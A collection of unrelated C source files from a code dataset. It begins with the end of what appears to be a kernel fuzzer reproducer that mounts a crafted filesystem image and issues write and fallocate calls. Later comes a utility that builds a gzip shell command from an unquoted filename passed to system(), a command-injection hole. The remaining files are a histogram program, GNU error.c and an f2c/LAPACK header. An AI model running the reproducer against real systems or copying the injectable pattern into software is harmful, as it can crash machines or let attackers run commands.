"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff",
4098);
*(uint64_t*)0x20000238 = 0x1002;
*(uint64_t*)0x20000240 = 0x2000;
*(uint64_t*)0x20000248 = 0x20000040;
memcpy((void*)0x20000040, "\xed\x41\x00\x00\x00\x10\x00\x00\xda\xf4\x65\x5f"
"\xdb\xf4\x65\x5f\xdb\xf4\x65\x5f\x00\x00\x00\x00"
"\x00\x00\x04\x00\x08",
29);
*(uint64_t*)0x20000250 = 0x1d;
*(uint64_t*)0x20000258 = 0x4100;
*(uint8_t*)0x20001480 = 0;
syz_mount_image(0x20000000, 0x20000100, 0x40000, 4, 0x20000200, 0x210010,
0x20001480);
memcpy((void*)0x20000000, "./file0\000", 8);
res =
syscall(__NR_openat, 0xffffffffffffff9cul, 0x20000000ul, 0x410481ul, 0ul);
if (res != -1)
r[0] = res;
*(uint64_t*)0x200014c0 = 0x20000080;
memcpy((void*)0x20000080, "\xd6", 1);
*(uint64_t*)0x200014c8 = 1;
syscall(__NR_pwritev, r[0], 0x200014c0ul, 1ul, 0, 0);
syscall(__NR_fallocate, r[0], 0ul, 0ul, 0xffe0ul);
}
int main(void)
{
syscall(__NR_mmap, 0x1ffff000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 7ul, 0x32ul, -1, 0ul);
syscall(__NR_mmap, 0x21000000ul, 0x1000ul, 0ul, 0x32ul, -1, 0ul);
loop();
return 0;
}
|
the_stack_data/154397.c | #include <stdio.h>
#define CHAR_MIN ' '
#define CHAR_MAX '~'
#define ARRAY_SZ CHAR_MAX - CHAR_MIN + 1
#define WIDTH 77
main()
{
int c;
int counts[ARRAY_SZ];
int freq, maxn;
int i, j;
float scale;
for (i = 0; i < ARRAY_SZ; ++i)
counts[i] = 0;
while ((c = getchar()) != EOF)
if (c >= CHAR_MIN && c <= CHAR_MAX)
++counts[c - CHAR_MIN];
maxn = 0;
for (i = 0; i < ARRAY_SZ; ++i)
if (counts[i] > maxn)
maxn = counts[i];
scale = 1.0;
if (maxn > WIDTH)
scale = WIDTH / (float)maxn;
for (i = 0; i < ARRAY_SZ; ++i) {
printf("%c|", CHAR_MIN + i);
freq = (int)(counts[i] * scale);
for (j = 0; j < freq; ++j)
printf("*");
printf("\n");
}
}
|
the_stack_data/4721.c | #include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc, char *argv[])
{
int fd;
char *fname;
int lth;
struct stat sb;
char cmd[BUFSIZ];
FILE *gf;
fname = argv[1];
if (stat(fname, &sb) != 0) {
fprintf(stderr, "Can't stat file %s\n", fname);
exit(1);
}
write(1, "ELF.mips32.gzip", 16);
lth = sb.st_size;
lth = htonl(lth);
if (sizeof(lth) != 4) {
fprintf(stderr, "error, unsigned int size not 4!\n");
exit(1);
}
write(1, <h, 4);
snprintf(cmd, BUFSIZ, "gzip -c -9 %s", fname);
if (system(cmd) < 0) {
perror("system");
exit(1);
}
exit(0);
}
|
the_stack_data/513533.c | #include <stdio.h>
#include <stdint.h>
typedef struct Point2D
{
int32_t x;
int32_t y;
} Point2D;
typedef struct Point3D
{
int32_t x;
int32_t y;
int32_t z;
} Point3D;
void printPoint(Point2D p)
{
printf("Point2D[x=%d,y=%d]\n", p.x, p.y);
}
int main(int argc, char const *argv[])
{
Point3D p1 = {.x = 1, .y = 2, .z = 3};
printPoint(*(Point2D *)&p1);
return 0;
}
|
the_stack_data/43888287.c | /* error.c -- error handler for noninteractive utilities
Copyright (C) 1990, 91, 92, 93, 94, 95, 96 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2, or (at your option)
any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
/* Written by David MacKenzie <[email protected]>. */
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif
#include <stdio.h>
#if HAVE_VPRINTF || HAVE_DOPRNT || _LIBC
# if __STDC__
# include <stdarg.h>
# define VA_START(args, lastarg) va_start(args, lastarg)
# else
# include <varargs.h>
# define VA_START(args, lastarg) va_start(args)
# endif
#else
# define va_alist a1, a2, a3, a4, a5, a6, a7, a8
# define va_dcl char *a1, *a2, *a3, *a4, *a5, *a6, *a7, *a8;
#endif
#if STDC_HEADERS || _LIBC
# include <stdlib.h>
# include <string.h>
#else
void exit ();
#endif
#ifndef _
# define _(String) String
#endif
/* If NULL, error will flush stdout, then print on stderr the program
name, a colon and a space. Otherwise, error will call this
function without parameters instead. */
void (*error_print_progname) (
#if __STDC__ - 0
void
#endif
);
/* This variable is incremented each time `error' is called. */
unsigned int error_message_count;
#ifdef _LIBC
/* In the GNU C library, there is a predefined variable for this. */
# define program_name program_invocation_name
# include <errno.h>
#else
/* The calling program should define program_name and set it to the
name of the executing program. */
extern char *program_name;
# if HAVE_STRERROR
# ifndef strerror /* On some systems, strerror is a macro */
char *strerror ();
# endif
# else
static char *
private_strerror (errnum)
int errnum;
{
extern char *sys_errlist[];
extern int sys_nerr;
if (errnum > 0 && errnum <= sys_nerr)
return sys_errlist[errnum];
return _("Unknown system error");
}
# define strerror private_strerror
# endif /* HAVE_STRERROR */
#endif /* _LIBC */
/* Print the program name and error message MESSAGE, which is a printf-style
format string with optional args.
If ERRNUM is nonzero, print its corresponding system error message.
Exit with status STATUS if it is nonzero. */
/* VARARGS */
void
#if defined(VA_START) && __STDC__
error (int status, int errnum, const char *message, ...)
#else
error (status, errnum, message, va_alist)
int status;
int errnum;
char *message;
va_dcl
#endif
{
#ifdef VA_START
va_list args;
#endif
if (error_print_progname)
(*error_print_progname) ();
else
{
fflush (stdout);
fprintf (stderr, "%s: ", program_name);
}
#ifdef VA_START
VA_START (args, message);
# if HAVE_VPRINTF || _LIBC
vfprintf (stderr, message, args);
# else
_doprnt (message, args, stderr);
# endif
va_end (args);
#else
fprintf (stderr, message, a1, a2, a3, a4, a5, a6, a7, a8);
#endif
++error_message_count;
if (errnum)
fprintf (stderr, ": %s", strerror (errnum));
putc ('\n', stderr);
fflush (stderr);
if (status)
exit (status);
}
/* Sometimes we want to have at most one error per line. This
variable controls whether this mode is selected or not. */
int error_one_per_line;
void
#if defined(VA_START) && __STDC__
error_at_line (int status, int errnum, const char *file_name,
unsigned int line_number, const char *message, ...)
#else
error_at_line (status, errnum, file_name, line_number, message, va_alist)
int status;
int errnum;
const char *file_name;
unsigned int line_number;
char *message;
va_dcl
#endif
{
#ifdef VA_START
va_list args;
#endif
if (error_one_per_line)
{
static const char *old_file_name;
static unsigned int old_line_number;
if (old_line_number == line_number &&
(file_name == old_file_name || !strcmp (old_file_name, file_name)))
/* Simply return and print nothing. */
return;
old_file_name = file_name;
old_line_number = line_number;
}
if (error_print_progname)
(*error_print_progname) ();
else
{
fflush (stdout);
fprintf (stderr, "%s:", program_name);
}
if (file_name != NULL)
fprintf (stderr, "%s:%d: ", file_name, line_number);
#ifdef VA_START
VA_START (args, message);
# if HAVE_VPRINTF || _LIBC
vfprintf (stderr, message, args);
# else
_doprnt (message, args, stderr);
# endif
va_end (args);
#else
fprintf (stderr, message, a1, a2, a3, a4, a5, a6, a7, a8);
#endif
++error_message_count;
if (errnum)
fprintf (stderr, ": %s", strerror (errnum));
putc ('\n', stderr);
fflush (stderr);
if (status)
exit (status);
}
|
the_stack_data/72013675.c | /* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* > \brief \b SLA_GBRPVGRW computes the reciprocal pivot growth factor norm(A)/norm(U) for a general banded m
atrix. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download SLA_GBRPVGRW + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/sla_gbr
pvgrw.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/sla_gbr
pvgrw.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/sla_gbr
pvgrw.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* REAL FUNCTION SLA_GBRPVGRW( N, KL, KU, NCOLS, AB, LDAB, AFB, */
/* LDAFB ) */
/* INTEGER N, KL, KU, NCOLS, LDAB, LDAFB */
/* REAL AB( LDAB, * ), AFB( LDAFB, * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > SLA_GBRPVGRW computes the reciprocal pivot growth factor */
/* > norm(A)/norm(U). The "f2cmax absolute element" norm is used. If this is */
/* > much less than 1, the stability of the LU factorization of the */
/* > (equilibrated) matrix A could be poor. This also means that the */
/* > solution X, estimated condition numbers, and error bounds could be */
/* > unreliable. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of linear equations, i.e., the order of the */
/* > matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] KL */
/* > \verbatim */
/* > KL is INTEGER */
/* > The number of subdiagonals within the band of A. KL >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] KU */
/* > \verbatim */
/* > KU is INTEGER */
/* > The number of superdiagonals within the band of A. KU >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] NCOLS */
/* > \verbatim */
/* > NCOLS is INTEGER */
/* > The number of columns of the matrix A. NCOLS >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] AB */
/* > \verbatim */
/* > AB is REAL array, dimension (LDAB,N) */
/* > On entry, the matrix A in band storage, in rows 1 to KL+KU+1. */
/* > The j-th column of A is stored in the j-th column of the */
/* > array AB as follows: */
/* > AB(KU+1+i-j,j) = A(i,j) for f2cmax(1,j-KU)<=i<=f2cmin(N,j+kl) */
/* > \endverbatim */
/* > */
/* > \param[in] LDAB */
/* > \verbatim */
/* > LDAB is INTEGER */
/* > The leading dimension of the array AB. LDAB >= KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[in] AFB */
/* > \verbatim */
/* > AFB is REAL array, dimension (LDAFB,N) */
/* > Details of the LU factorization of the band matrix A, as */
/* > computed by SGBTRF. U is stored as an upper triangular */
/* > band matrix with KL+KU superdiagonals in rows 1 to KL+KU+1, */
/* > and the multipliers used during the factorization are stored */
/* > in rows KL+KU+2 to 2*KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[in] LDAFB */
/* > \verbatim */
/* > LDAFB is INTEGER */
/* > The leading dimension of the array AFB. LDAFB >= 2*KL+KU+1. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup realGBcomputational */
/* ===================================================================== */
real sla_gbrpvgrw_(integer *n, integer *kl, integer *ku, integer *ncols,
